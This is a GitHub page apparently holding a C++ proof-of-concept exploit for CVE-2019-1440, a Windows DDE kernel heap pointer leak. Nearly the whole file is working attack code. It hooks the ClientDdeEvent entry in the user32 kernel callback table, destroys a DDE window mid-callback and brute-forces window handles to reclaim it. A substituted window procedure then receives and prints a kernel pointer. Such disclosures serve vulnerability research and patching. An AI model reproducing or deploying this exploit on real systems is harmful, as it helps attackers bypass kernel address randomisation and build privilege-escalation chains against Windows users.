-
Notifications
You must be signed in to change notification settings - Fork 87
/
Copy pathdde ptr leak.cpp
164 lines (135 loc) · 4.5 KB
/
dde ptr leak.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
// Gil Dabah August 2019
// CVE-2019-1440
// All Windows versions affected.
// This POC is for Windows 10 x64.
//
// DDE EVENT_PACKET kernel heap pointer leak.
// The bug is inside xxxCsEvent, where it's possible to replace a DDE HWND to anything else
// and receiving a PEP kernel pointer to usermode.
//
// It occurs because first loop collects all DDE HWNDs.
// And then second loop just goes over them and calls SendMessage upon each.
// In between, it's possible to destroy the first window, which is going to be called soon, and then leaking the pointer.
// Side note -
// Due to xxxChangeMonitorFlags's algorithm, it's necessary to play with flag and flag2 values below so control flow will reach to xxxCsEvent.
// Alternatively, using a VM, it's easier just to restart it and run this POc again.
#include <stdio.h>
#include <windows.h>
#define DDE_UNINT_PROCNO 0x2f
#define ClientDdeEvent 0x41
typedef NTSTATUS(WINAPI *NtCallbackReturnPtr)(PVOID, ULONG, NTSTATUS);
NtCallbackReturnPtr NtCallbackReturnFunc = NULL;
typedef LRESULT(CALLBACK *de_proc)(PVOID, PVOID);
de_proc g_orig_de = NULL;
typedef ULONG_PTR(WINAPI *NtUserCallOneParamPtr)(ULONG_PTR param, DWORD procNumber);
NtUserCallOneParamPtr NtUserCallOneParam = NULL;
HANDLE ddeHandle1 = NULL, ddeHandle2 = NULL;
HWND h1 = NULL, h2 = NULL;
int g_ok = 0;
ULONG_PTR GetPEB()
{
return (ULONG_PTR)__readgsqword(0x60);
}
ULONG_PTR* GetUser32Callbacks()
{
return *(ULONG_PTR**)((char*)GetPEB() + 0x58);
}
LRESULT CALLBACK wndproc(HWND h, UINT m, WPARAM w, LPARAM l)
{
printf("Kernel pointer: %I64x\n", (ULONG_PTR)l);
return DefWindowProc(h, m, w, l);
}
LRESULT CALLBACK hookProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HCBT_CREATEWND)
{
if (h1 != (HWND)wParam)
{
// Fail window creation ASAP for performance boost
return 1;
}
}
return 0;
}
LRESULT CALLBACK clientddeevent(PVOID a, PVOID b)
{
if (!g_ok) NtCallbackReturnFunc(NULL, 0, 0);
printf("DDE Event callback: %p %p\n", a, b);
// Now we're destroying the first DDE instance we created.
NtUserCallOneParam((ULONG_PTR)ddeHandle1, DDE_UNINT_PROCNO);
printf("Window is destroyed: %d\n", IsWindow(h1) == 0);
// Its window is destroy too, but in the kernel it's still going to be used as HWND.
// If we manage to get that same window handle, with our own window and window-proc,
// then the function xxxCsEvent will SendMessage with a PEP kernel pointer.
if (IsWindow(h1) == FALSE)
{
printf("Brute forcing window handle\n");
HWND h = NULL;
SetWindowsHookEx(WH_CBT, hookProc, NULL, GetCurrentThreadId());
for (unsigned int i = 0; i < 0x10000; i++)
{
if (i % 1000 == 0) printf("*");
h = CreateWindow("button", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
if (h == h1)
{
break;
}
DestroyWindow(h);
}
if (h == h1)
{
// Change wndproc to our own func, so we can get the pointer on next call.
SetWindowLongPtr(h, GWLP_WNDPROC, (LONG_PTR)wndproc);
printf("Success!\n");
}
else
{
printf("Oiii\n");
}
}
return NtCallbackReturnFunc(NULL, 0, 0);
}
int main()
{
CreateMenu(); // Dummy API for linking win32u.
HMODULE hWin32u = GetModuleHandle("win32u");
typedef DWORD(WINAPI *DdeInitPtr)(PHANDLE outHandle, HWND *outWnd, LPDWORD flags, DWORD cmds, PVOID cookie);
DdeInitPtr DdeInit = (DdeInitPtr)GetProcAddress(hWin32u, "NtUserDdeInitialize");
NtUserCallOneParam = (NtUserCallOneParamPtr)GetProcAddress(hWin32u, "NtUserCallOneParam");
NtCallbackReturnFunc = (NtCallbackReturnPtr)GetProcAddress(GetModuleHandle("ntdll"), "NtCallbackReturn");
ULONG_PTR* ptrAddr = &GetUser32Callbacks()[ClientDdeEvent];
g_orig_de = *(de_proc*)ptrAddr;
DWORD oldProt = 0;
VirtualProtect((LPVOID)ptrAddr, sizeof(void*), PAGE_READWRITE, &oldProt);
*(ULONG_PTR*)ptrAddr = (ULONG_PTR)clientddeevent;
VirtualProtect((LPVOID)ptrAddr, sizeof(void*), oldProt, &oldProt);
DWORD flag = 0xf0000000;
DWORD flag2 = 0xfff00000;
DWORD ddeFlags = 0;
if (DdeInit(&ddeHandle1, &h1, &ddeFlags, flag, NULL))
{
printf("Can't init dde\n");
return 1;
}
if (NULL == h1)
{
printf("Failed creating h1\n");
return 2;
}
printf("Created dde h1:%p\n", h1);
// Now it's okay to handle the hook.
g_ok = 1;
ddeFlags = 0;
if (DdeInit(&ddeHandle2, &h2, &ddeFlags, flag2, NULL))
{
printf("Can't init dde2\n");
return 3;
}
if (NULL == h2)
{
printf("Failed creating h2\n");
return 4;
}
printf("Created dde h2:%p\n", h2);
return 0;
}